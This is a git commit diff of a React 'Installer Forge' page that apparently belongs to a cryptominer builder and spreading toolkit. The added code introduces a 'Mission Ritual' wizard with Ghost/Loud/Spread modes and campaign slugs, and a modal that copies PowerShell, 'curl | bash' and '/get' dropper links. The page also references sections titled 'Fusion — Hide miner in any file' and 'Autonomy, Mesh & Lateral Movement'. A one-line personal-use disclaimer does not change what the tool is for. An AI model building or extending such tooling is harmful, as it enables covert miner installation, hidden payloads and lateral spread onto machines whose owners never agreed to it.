feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -32,6 +32,7 @@ import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -43,7 +44,46 @@ import {
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
|
||||
import {
|
||||
FORGE_THEME_EVENT,
|
||||
OPERATION_MODES,
|
||||
applyOperationMode,
|
||||
forgeSkinClassName,
|
||||
loadStoredForgeTheme,
|
||||
loadStoredOperationMode,
|
||||
resolveForgeSkin,
|
||||
storeOperationMode,
|
||||
type OperationModeId,
|
||||
} from '../help/forgeOperationModes';
|
||||
import {
|
||||
MISSION_STEPS,
|
||||
MISSION_STEP_LABELS,
|
||||
applyMissionPresets,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionLinks,
|
||||
type MissionStep,
|
||||
} from '../help/forgeMission';
|
||||
import {
|
||||
MISSION_OPERATION_CHIPS,
|
||||
MISSION_WIZARD_STEPS,
|
||||
MISSION_WIZARD_STEP_LABELS,
|
||||
canAdvanceWizardStep,
|
||||
missionChipForMode,
|
||||
nextWizardStep,
|
||||
operationModeForChip,
|
||||
prevWizardStep,
|
||||
wizardPillStatus,
|
||||
type MissionOperationChip,
|
||||
type MissionWizardStep,
|
||||
} from '../help/forgeMissionWizard';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
|
||||
}
|
||||
|
||||
export function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
@@ -160,6 +200,30 @@ export default function BuilderPage() {
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
|
||||
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
|
||||
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
|
||||
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
|
||||
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
|
||||
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
|
||||
missionChipForMode(loadStoredOperationMode()),
|
||||
);
|
||||
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
||||
const [missionBusy, setMissionBusy] = useState(false);
|
||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
||||
useModalAmbientDuck(!!missionModal);
|
||||
|
||||
useEffect(() => {
|
||||
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
||||
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.addEventListener('storage', syncTheme);
|
||||
return () => {
|
||||
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.removeEventListener('storage', syncTheme);
|
||||
};
|
||||
}, []);
|
||||
|
||||
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -248,7 +312,8 @@ export default function BuilderPage() {
|
||||
const buildList = builds as BuildRecord[];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||
setRecentBuilds(buildList);
|
||||
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
|
||||
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -643,6 +708,72 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const selectMissionOperationChip = (chip: MissionOperationChip) => {
|
||||
setMissionOperationChip(chip);
|
||||
const modeId = operationModeForChip(chip);
|
||||
setOperationMode(modeId);
|
||||
storeOperationMode(modeId);
|
||||
if (form) setForm(applyOperationMode(form, modeId));
|
||||
};
|
||||
|
||||
const handleLaunchMission = async () => {
|
||||
if (!form) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setMissionModal(null);
|
||||
setMissionExportSkipped(false);
|
||||
setMissionWizardStep('launch');
|
||||
|
||||
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
setForm(normalized);
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Mission blocked — fix preflight errors before launching.');
|
||||
return;
|
||||
}
|
||||
|
||||
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
|
||||
const cancelToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = cancelToken;
|
||||
setMissionBusy(true);
|
||||
setMissionStep('configure');
|
||||
setBuilding(true);
|
||||
|
||||
try {
|
||||
const result = await runForgeMission({
|
||||
form: normalized,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign: missionCampaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
cancelToken,
|
||||
onStep: (step) => {
|
||||
setMissionStep(step);
|
||||
if (step === 'forge') startForge();
|
||||
},
|
||||
});
|
||||
setMissionExportSkipped(result.exportSkipped);
|
||||
setForm(normalized);
|
||||
await copyMissionLinks(result.links);
|
||||
setMissionModal(result.links);
|
||||
await finishForgeSuccess(result.build);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Mission failed';
|
||||
if (msg !== 'build cancelled') {
|
||||
setMissionStep('error');
|
||||
setError(msg);
|
||||
void loadRecentBuilds();
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
setMissionBusy(false);
|
||||
setBuilding(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
@@ -701,7 +832,7 @@ export default function BuilderPage() {
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -797,7 +928,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (loadingDefaults) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -811,7 +942,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (!form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -838,7 +969,7 @@ export default function BuilderPage() {
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<SetupBanner status={setupStatus} />
|
||||
{pendingReforgeBuild && (
|
||||
<div className="reforge-confirm-banner form-error" role="alert">
|
||||
@@ -1009,12 +1140,18 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
<div className="builder-layout builder-layout-wide">
|
||||
<div className="card cheat-sheet-panel">
|
||||
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
|
||||
<h2>Quick links</h2>
|
||||
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
|
||||
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
|
||||
<a
|
||||
href="/docs/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-primary"
|
||||
style={{ marginBottom: '1rem', display: 'inline-block' }}
|
||||
>
|
||||
Open Field Guide
|
||||
</Link>
|
||||
</a>
|
||||
<div className="cheat-sheet">
|
||||
{SETUP_CHEATSHEET.map((item) => (
|
||||
<div key={item.title} className="cheat-sheet-item">
|
||||
@@ -1028,6 +1165,189 @@ export default function BuilderPage() {
|
||||
<div className="card builder-form">
|
||||
{simpleMode ? (
|
||||
<>
|
||||
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
|
||||
<p className="font-tech">MISSION RITUAL — 3-STEP WIZARD</p>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
|
||||
Full forge fields below stay available for power users.
|
||||
</p>
|
||||
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
|
||||
{MISSION_WIZARD_STEPS.map((step, idx) => {
|
||||
const status = wizardPillStatus(step, missionWizardStep);
|
||||
return (
|
||||
<button
|
||||
key={step}
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={status === 'active'}
|
||||
className={`forge-mission-wizard-pill ${status}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => setMissionWizardStep(step)}
|
||||
>
|
||||
<span className="forge-mission-wizard-pill-num">
|
||||
{status === 'done' ? '✓' : idx + 1}
|
||||
</span>
|
||||
{MISSION_WIZARD_STEP_LABELS[step]}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-panel">
|
||||
{missionWizardStep === 'mode' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
|
||||
<div className="forge-mission-chip-grid">
|
||||
{MISSION_OPERATION_CHIPS.map((chip) => (
|
||||
<button
|
||||
key={chip.id}
|
||||
type="button"
|
||||
aria-label={chip.label}
|
||||
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
color: missionOperationChip === chip.id ? chip.color : undefined,
|
||||
}}
|
||||
disabled={missionBusy}
|
||||
onClick={() => selectMissionOperationChip(chip.id)}
|
||||
>
|
||||
<strong>{chip.label}</strong>
|
||||
<span>{chip.blurb}</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'profile' && (
|
||||
<div>
|
||||
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile('');
|
||||
}}
|
||||
>
|
||||
None
|
||||
</button>
|
||||
{SPREAD_PROFILES.map((p) => (
|
||||
<button
|
||||
key={p.id}
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
|
||||
style={{
|
||||
borderColor: spreadProfile === p.id ? p.color : undefined,
|
||||
color: spreadProfile === p.id ? p.color : undefined,
|
||||
}}
|
||||
title={p.blurb}
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
setSpreadProfile(p.id);
|
||||
if (form) setForm(applySpreadProfile(form, p.id));
|
||||
}}
|
||||
>
|
||||
{p.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
{spreadProfile
|
||||
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
|
||||
: 'Skip to forge without a spread profile preset.'}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<div>
|
||||
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
|
||||
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
|
||||
<input
|
||||
id="mission-campaign"
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={missionCampaign}
|
||||
disabled={missionBusy}
|
||||
onChange={(e) => setMissionCampaign(e.target.value)}
|
||||
placeholder="forge-mission"
|
||||
/>
|
||||
</div>
|
||||
{(missionBusy || missionStep === 'error') && (
|
||||
<div className="forge-mission-steps" aria-live="polite">
|
||||
{MISSION_STEPS.map((step) => {
|
||||
const status = missionStep
|
||||
? missionStepStatus(step, missionStep, missionExportSkipped)
|
||||
: 'pending';
|
||||
return (
|
||||
<span key={step} className={`forge-mission-step ${status}`}>
|
||||
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
|
||||
{' '}
|
||||
{MISSION_STEP_LABELS[step]}
|
||||
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
{!missionBusy && missionStep !== 'error' && (
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="forge-mission-wizard-nav">
|
||||
{prevWizardStep(missionWizardStep) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const prev = prevWizardStep(missionWizardStep);
|
||||
if (prev) setMissionWizardStep(prev);
|
||||
}}
|
||||
>
|
||||
← Back
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
disabled={missionBusy}
|
||||
onClick={() => {
|
||||
const next = nextWizardStep(missionWizardStep);
|
||||
if (next) setMissionWizardStep(next);
|
||||
}}
|
||||
>
|
||||
Next →
|
||||
</button>
|
||||
)}
|
||||
{missionWizardStep === 'launch' && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={missionBusy || building || !canForge}
|
||||
onClick={() => void handleLaunchMission()}
|
||||
>
|
||||
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
|
||||
</button>
|
||||
{missionBusy && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger btn-sm"
|
||||
onClick={handleKillBuild}
|
||||
title="Kill the running compiler immediately"
|
||||
>
|
||||
✕ Kill Build
|
||||
</button>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
@@ -1035,6 +1355,29 @@ export default function BuilderPage() {
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Operation mode presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{OPERATION_MODES.map((m) => (
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
|
||||
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
|
||||
title={m.blurb}
|
||||
onClick={() => {
|
||||
setOperationMode(m.id);
|
||||
storeOperationMode(m.id);
|
||||
setMissionOperationChip(missionChipForMode(m.id));
|
||||
if (form) setForm(applyOperationMode(form, m.id));
|
||||
}}
|
||||
>
|
||||
{m.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
@@ -1106,7 +1449,7 @@ export default function BuilderPage() {
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Identity"
|
||||
badge="baked"
|
||||
@@ -1218,7 +1561,7 @@ export default function BuilderPage() {
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
@@ -1310,7 +1653,7 @@ export default function BuilderPage() {
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Mining Pools"
|
||||
badge="baked"
|
||||
@@ -1343,7 +1686,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
@@ -1409,7 +1752,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
@@ -1446,7 +1789,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
@@ -1530,7 +1873,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
badge="baked"
|
||||
@@ -1662,7 +2005,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Install & Process"
|
||||
badge="baked"
|
||||
@@ -1903,7 +2246,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
@@ -2233,7 +2576,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||||
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<ForgeSectionHeader
|
||||
title="PATH FORGE — Recursive Batch Seed"
|
||||
badge="server-only"
|
||||
@@ -2373,7 +2716,7 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
@@ -2411,7 +2754,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
@@ -2533,7 +2876,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<div className="preflight-panel card operator-deck-card operator-interactive">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
<ul className="preflight-list">
|
||||
{preflightChecks.map((c) => (
|
||||
@@ -2646,6 +2989,54 @@ export default function BuilderPage() {
|
||||
{dispenseReveal?.success && (
|
||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||
)}
|
||||
{missionModal && (
|
||||
<div
|
||||
className="forge-mission-modal-backdrop"
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-labelledby="mission-modal-title"
|
||||
onClick={() => setMissionModal(null)}
|
||||
>
|
||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||
<h3 id="mission-modal-title">Mission complete — links copied</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
|
||||
</p>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>PowerShell</p>
|
||||
<code>{missionModal.ps1}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>curl | bash</p>
|
||||
<code>{missionModal.sh}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>/get dropper</p>
|
||||
<code>{missionModal.get}</code>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => void copyMissionLinks(missionModal)}
|
||||
>
|
||||
Copy all
|
||||
</button>
|
||||
<a
|
||||
href="/spread/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-outline btn-sm"
|
||||
>
|
||||
Open spread landing
|
||||
</a>
|
||||
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
Reference in New Issue
Block a user